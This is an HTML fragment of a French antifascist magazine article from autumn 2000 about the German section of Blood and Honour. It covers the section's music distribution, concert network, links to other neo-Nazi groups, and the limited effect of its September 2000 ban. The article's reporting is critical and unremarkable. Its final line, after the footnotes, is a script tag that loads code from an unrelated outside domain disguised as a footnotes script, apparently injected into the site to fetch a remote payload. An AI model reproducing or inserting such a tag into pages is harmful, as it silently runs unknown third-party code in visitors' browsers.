">1</a></sup>, priver les responsables d&rsquo;agressions racistes de leur permis de conduire, privilégier l&rsquo;enseignement de la citoyenneté dans les écoles, convoquer la France, la Suisse, l&rsquo;Autriche, l&rsquo;Italie et le Liechtenstein à une réunion internationale sur ce thème, financer des initiatives antiracistes, restreindre encore une fois le droit d&rsquo;asile<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_1_139" id="identifier_1_139" class="footnote-link footnote-identifier-link" title="Car c&rsquo;est bien ce qui s&rsquo;est pass&eacute; apr&egrave;s le pogrom de Rostock en 1992 : le gouvernement allemand n&rsquo;a rien trouv&eacute; de mieux que de limiter de fa&ccedil;on drastique le droit d&rsquo;asile afin d&rsquo;&eacute;viter que ne se reproduisent de tels agissements !! Cherchez l&rsquo;erreur&hellip;
">2</a></sup> ? Les avis divergeaient, jusqu&rsquo;à ce que Otto Schily décide d&rsquo;interdire la section allemande de Blood and Honour<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_2_139" id="identifier_2_139" class="footnote-link footnote-identifier-link" title="Apr&egrave;s avoir prononc&eacute; quelques semaines auparavant l&rsquo;interdiction de Hamburger Sturm, groupe et journal dirig&eacute;s par Christian Worch, un v&eacute;t&eacute;ran de la sc&egrave;ne n&eacute;o-nazie hambourgeoise, et o&ugrave; les sections du nord de Blood and Honour et des Hammerskins ont d&eacute;cid&eacute; de travailler ensemble.
">3</a></sup> ainsi que son groupe de sympathisants, White Youth, le jeudi 14 septembre 2000 pour « refuser que Blood and Honour empoisonne les esprits et les cœurs, en particulier chez les jeunes<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_3_139" id="identifier_3_139" class="footnote-link footnote-identifier-link" title="taz Bremen, 18.09.2000.
">4</a></sup> ».</p>
<p>Comment Blood and Honour s&rsquo;est développé en Allemagne</p>
<p>Les premiers contacts entre Blood and Honour<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_4_139" id="identifier_4_139" class="footnote-link footnote-identifier-link" title="Cf. encart sur l&rsquo;histoire de Blood and Honour.
">5</a></sup> et des groupes de musique néo-nazis allemands remontent à 1991. Cette année-là, le groupe Kreuzritter für Deutschland et Skrewdriver entament une collaboration qui prend la forme du Skrewdriver-Service (une boîte de distribution qui doit prendre en charge la diffusion des disques du groupe anglais) et du projet German-British-Friendship (GBF) qui veut organiser des tournées internationales et produire des compilations. Aujourd&rsquo;hui, GBF-Records est l&rsquo;un des plus gros labels et boîte de distribution d&rsquo;extrême droite du Sud de l&rsquo;Allemagne.<br />
Par ailleurs, des contacts se nouent à la même époque entre le Gesinnungsgemeinschaft der Neuen Front<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_5_139" id="identifier_5_139" class="footnote-link footnote-identifier-link" title="Organisation-&eacute;cran du NSDAP-AO (parti nazi en exil et en reconstruction), interdit en Allemagne et bas&eacute; aux &Eacute;tats-Unis.
">6</a></sup> (GdNF) de Michael Kühnen et divers groupes scandinaves tels que Vitt Arisk Motstand (VAM), Danmarks National Socialistike Bevaegelse (DNSB) et la boîte de distribution NS 88 qui sera le point de départ de la section danoise de Blood and Honour.</p>
<p>De fil en aiguille, la section allemande de Blood and Honour se monte et en 1993, son QG est au Danemark, tandis que son adresse est celle de la Nationale Liste (NL) de Hambourg, autre organisation-écran du NSDAP-AO. Au même moment en Basse-Saxe, le FAP<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_6_139" id="identifier_6_139" class="footnote-link footnote-identifier-link" title="Freiheitliche Arbeiterpartei Deutschlands, Parti lib&eacute;ral des ouvriers allemands
">7</a></sup> prend, à l&rsquo;initiative de Torsten Heise, des contacts étroits avec Combat 18 en Angleterre. Torsten Heise fait partie de ces cadres qui servent de repères dans le mouvement néo-nazi allemand et profitent des structures établies, comme le FAP à son époque, pour essayer de dépasser le stade du groupuscule.</p>
<p>À cette époque-là, la section allemande de Blood and Honour est un rassemblement assez informel, composé cependant de militants chevronnés parmi les plus radicaux de la scène néo-nazie qui n&rsquo;ont pas leurs pareils pour organiser des concerts. Dès 1994, l&rsquo;organisation s&rsquo;est structurée et centrée sur Berlin : elle s&rsquo;adresse en majorité aux nazis-skins de l&rsquo;Est et s&rsquo;enracine donc logiquement dans les länder de l&rsquo;Est, à savoir le Brandebourg, la Saxe, la Saxe-Anhalt, la Thuringe et le Mecklembourg-Poméranie.<br />
À la mort de Ian Stuart Donaldson, le chanteur de Skrewdriver et leader de Blood and Honour en Angleterre, le développement de la section allemande de l&rsquo;organisation s&rsquo;infléchit quelque peu, mais ses activités ne tardent pas à reprendre dès 1995-1996.</p>
<p><strong>Les activités commerciales et politiques de la section allemande de Blood and Honour</strong></p>
<p>Avant tout, la section allemande de Blood and Honour est, à l&rsquo;instar de l&rsquo;organisation-mère anglaise, un réseau de militants dont l&rsquo;activité consiste à produire, distribuer et faire jouer en concert des groupes de rock néo-nazi allemands. Les concerts, pour lesquels Blood and Honour parvient à rassembler jusqu&rsquo;à 2000 personnes au nez et à la barbe de la police, en les dirigeant d&rsquo;un lieu intermédiaire à l&rsquo;autre jusqu&rsquo;à la salle réservée soi-disant pour un anniversaire ou des fiançailles par le biais des téléphones portables, sont certes des sources de revenus non négligeables pour l&rsquo;organisation, mais ce sont eux surtout qui ont donné à Blood and Honour sa réputation de réseau insaisissable.</p>
<p>Blood and Honour-Allemagne fait également le commerce de CD interdits (acheminés par différentes filières, soit par le Nord, c&rsquo;est-à-dire la Scandinavie, soit par l&rsquo;Est, c&rsquo;est-à-dire la République tchèque, la Pologne, la Hongrie et la Slovaquie), ce qui s&rsquo;est avéré jusqu&rsquo;alors extrêmement lucratif<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_7_139" id="identifier_7_139" class="footnote-link footnote-identifier-link" title="Il faut savoir que les profits sont si juteux que certains cadres de Blood and Honour vivent de leurs activit&eacute;s, et plut&ocirc;t bien. Par ailleurs, ce commerce permet souvent de blanchir de l&rsquo;argent sale, car Blood and Honour, dans sa recherche de pouvoir, est en lien avec le &ldquo; crime organis&eacute; &rdquo;.
">8</a></sup>, ainsi que la production de CD. La plupart des labels allemands d&rsquo;extrême droite sont liés à l&rsquo;organisation, ainsi que les nombreux fanzines et magasins qui y sont rattachés. La région de Hambourg est particulièrement touchée par ce phénomène, surtout depuis que Christian Worch et Thomas Wulff travaillent à maintenir ouvert le Club 88 à Neumünster. La section allemande de Blood and Honour est donc un réseau difficile à appréhender, très mouvant, dont les groupes de musique, labels, boîtes de distributions et de vente par correspondance, magasins et fanzines qui le composent ne cessent de changer de noms, de fusionner, se dissoudre, se quereller et élaborer de nouveaux contacts. De plus, le lien de tous ces groupes avec Blood and Honour est souvent très souple, qu&rsquo;il s&rsquo;agisse de contacts commerciaux ou d&rsquo;une appartenance éprouvée au réseau.</p>
<p>Cependant, et l&rsquo;initiative de Worch et de Wulff à Hambourg le montre bien, la section allemande de Blood and Honour ne limite pas son activité politique à la musique, et elle se joint aux autres partis néo-nazis dans leurs apparitions publiques.<br />
S&rsquo;il est vrai que, jusqu&rsquo;à il y a peu, les nazis-skins se retrouvaient volontiers derrière les banderoles des Junge Nationalisten (JN) et du NPD comme à Passau en février 1998 pour le “ Jour de la Résistance nationale ” (5000 participants, à 90% des nazis-skins), on assiste depuis deux ans à une évolution du NPD, qui, depuis que ses défilés sont régulièrement interdits et que le gouvernement fédéral se pose la question de son éventuelle interdiction, n&rsquo;hésite pas à évacuer les nazis-skins de ses rangs, dans les défilés comme dans l&rsquo;appareil du parti.</p>
<p>Par conséquent, Blood and Honour a repris en main l&rsquo;organisation de nombreux défilés, en usant des mêmes moyens que ceux utilisés pour organiser des concerts de musique néo-nazie. Le réseau comble ainsi le vide laissé par le NPD et les JN, davantage occupés à se refaire une virginité en excluant les nazis-skins du parti en Saxe par exemple, avec un atout supplémentaire : son authenticité culturelle. Les militants apparaissent donc désormais derrière leurs propres banderoles. Le réseau allemand Blood and Honour diffuse également un skinzine du même nom qui en est déjà à son neuvième numéro : à côté des articles consacrés à la musique, on trouve des textes qui font l&rsquo;apologie de Waffen SS et autres militants nationaux-socialistes et exposent des théories racistes, ainsi que des interviews de terroristes néo-nazis emprisonnés. Les militants allemands de Blood and Honour ne sont pas les derniers quand il s&rsquo;agit de menacer ou d&rsquo;agresser leurs opposants, qu&rsquo;ils soient Juifs ou immigrés. Ils utilisent également leurs contacts internationaux pour partager leurs expériences politiques et terroristes, en particulier en ce qui concerne les actions anti-antifascistes. Ainsi en novembre 1999, une rencontre eut lieu en Norvège entre les membres européens du réseau Blood and Honour : des néo-nazis allemands, suédois, anglais et norvégiens ont parlé de coordonner leurs activités anti-antifascistes au niveau international, si bien qu&rsquo;un mois plus tard, la police criminelle de Basse-Saxe a dû mettre en garde de nombreuses maisons habitées par des gens de gauche ainsi que le président du syndicat DGB d&rsquo;éventuelles lettres piégées.</p>
<p>Le concept de Blood and Honour est simple en fin de compte, mais il a déjà fait ses preuves un peu partout en Europe : « Il n&rsquo;est pas de meilleur moyen que la musique pour gagner la jeunesse à nos idées », disait Ian Stuart Donaldson. Et de fait, le rock néo-nazi a rencontré un écho remarquable chez la jeunesse allemande, si bien qu&rsquo;aujourd&rsquo;hui, il constitue en son sein une véritable tendance. Selon certains journalistes, l&rsquo;interdiction de certains CD a même contribué à renforcer l&rsquo;intérêt des jeunes pour cette musique, les titres interdits devenant les titres préférés dans certaines cours d&rsquo;école.</p>
<p><strong>Les conséquences de l&rsquo;interdiction<br />
</strong></p>
<p>Jeudi 14 septembre 2000 a donc été prononcée l&rsquo;interdiction officielle de Blood and Honour Allemagne par le ministère de l&rsquo;Intérieur&#8230; S&rsquo;en sont suivies les perquisitions d&rsquo;usage, étonnamment ciblées : par exemple, les dirigeants de Blood and Honour Sektion Nordmark (région nord) n&rsquo;ont pas été réveillés à six heures par les policiers. La manifestation qu&rsquo;ils avaient prévue en soutien au Club 88 de Neumünster, un bar connu pour être le point de rencontre des néo-nazis du nord de l&rsquo;Allemagne, a bien eu lieu malgré l&rsquo;interdiction de leur organisation, et les 450 néo-nazis ont pu tenir le pavé et faire la fête dans leur club le samedi soir, pendant que les 1300 policiers convoqués dans cette petite ville du Schleswig-Holstein s&rsquo;occupaient des 800 antifascistes, avec pour consignes de cibler les « antifascistes violents » de Hambourg, dont ils avaient une liste de 40 noms. Heureusement que Blood and Honour est censé avoir été interdit&#8230; on n&rsquo;ose pas imaginer ce qui se passerait sinon !!!</p>
<p>La police s&rsquo;est montrée un tantinet plus ferme avec les quelques 500 nazis-skins qui s&rsquo;étaient retrouvés à Laave (Nord de l&rsquo;Allemagne) le samedi 23 septembre pour un concert. Les néo-nazis ont saisi tout ce qu&rsquo;ils avaient sous la main pour le jeter sur les policiers : bouteilles, pierres, bombes lacrymos, meubles, etc. les policiers, qui avaient bien identifié les membres du réseau pourtant interdit de Blood and Honour, n&rsquo;ont pas hésité à dire qu&rsquo;ils étaient intervenus parce qu&rsquo;ils avaient été agressés&#8230; L&rsquo;auraient-ils fait sinon, ou bien auraient-ils simplement veillé à ce que le concert se passe sans problème ?<br />
Si ce dernier concert (en date !) montre bien une chose, c&rsquo;est que la scène rock néo-nazie allemande n&rsquo;a pas été véritablement handicapée par l&rsquo;interdiction de la section allemande de Blood and Honour, ni même surprise d&rsquo;ailleurs. Depuis le temps que le gouvernement et les intellectuels parlaient de faire quelque chose contre l&rsquo;extrême droite, les membres de Blood and Honour avaient bien eu le temps de se préparer à l&rsquo;interdiction officielle et aux perquisitions et enquêtes qui devaient immanquablement suivre. Et de fait, dès l&rsquo;annonce de l&rsquo;interdiction, les cadres du mouvement ont commencé à restructurer le réseau néo-nazi. Le principe est en effet toujours le même : les organisations-écrans focalisent l&rsquo;attention sur elles et se préparent à l&rsquo;interdiction (dans le but d&rsquo;éviter au maximum les condamnations individuelles) tandis que les cadres, organisés de façon plus souple, peuvent surmonter l&rsquo;interdiction en se réorganisant le plus rapidement possible. Ainsi à Berlin, avant même l&rsquo;interdiction de Schily, il y avait déjà les signes d&rsquo;une réorganisation de Blood and Honour, sous la forme de contacts plus étroits avec le NPD.</p>
<p>Cet article a été réalisé par <em>REFLEXes</em> avec le concours de l&rsquo;<em>Antifaschistisches Infoblatt</em><br />
Gneisenaustr. 2a<br />
D-10961 BERLIN<br />
e-mail : aib@mail.nadir.org</p>
<p>Paru dans REFLEXes N° 2, automne 2000</p>
<ol class="footnotes"><li id="footnote_0_139" class="footnote">Nationaldemokratische Partei Deutschlands, parti d&rsquo;extrême droite allemand qui organise la plupart des défilés néo-nazis et rassemble les éléments les plus durs de l&rsquo;extrême droite allemande.<br />
</li><li id="footnote_1_139" class="footnote">Car c&rsquo;est bien ce qui s&rsquo;est passé après le pogrom de Rostock en 1992 : le gouvernement allemand n&rsquo;a rien trouvé de mieux que de limiter de façon drastique le droit d&rsquo;asile afin d&rsquo;éviter que ne se reproduisent de tels agissements !! Cherchez l&rsquo;erreur&#8230;<br />
</li><li id="footnote_2_139" class="footnote">Après avoir prononcé quelques semaines auparavant l&rsquo;interdiction de <em>Hamburger Sturm</em>, groupe et journal dirigés par Christian Worch, un vétéran de la scène néo-nazie hambourgeoise, et où les sections du nord de Blood and Honour et des Hammerskins ont décidé de travailler ensemble.<br />
</li><li id="footnote_3_139" class="footnote">taz Bremen, 18.09.2000.<br />
</li><li id="footnote_4_139" class="footnote">Cf. encart sur l&rsquo;histoire de Blood and Honour.<br />
</li><li id="footnote_5_139" class="footnote">Organisation-écran du NSDAP-AO (parti nazi en exil et en reconstruction), interdit en Allemagne et basé aux États-Unis.<br />
</li><li id="footnote_6_139" class="footnote">Freiheitliche Arbeiterpartei Deutschlands, Parti libéral des ouvriers allemands<br />
</li><li id="footnote_7_139" class="footnote">Il faut savoir que les profits sont si juteux que certains cadres de Blood and Honour vivent de leurs activités, et plutôt bien. Par ailleurs, ce commerce permet souvent de blanchir de l&rsquo;argent sale, car Blood and Honour, dans sa recherche de pouvoir, est en lien avec le “ crime organisé ”.<br />
</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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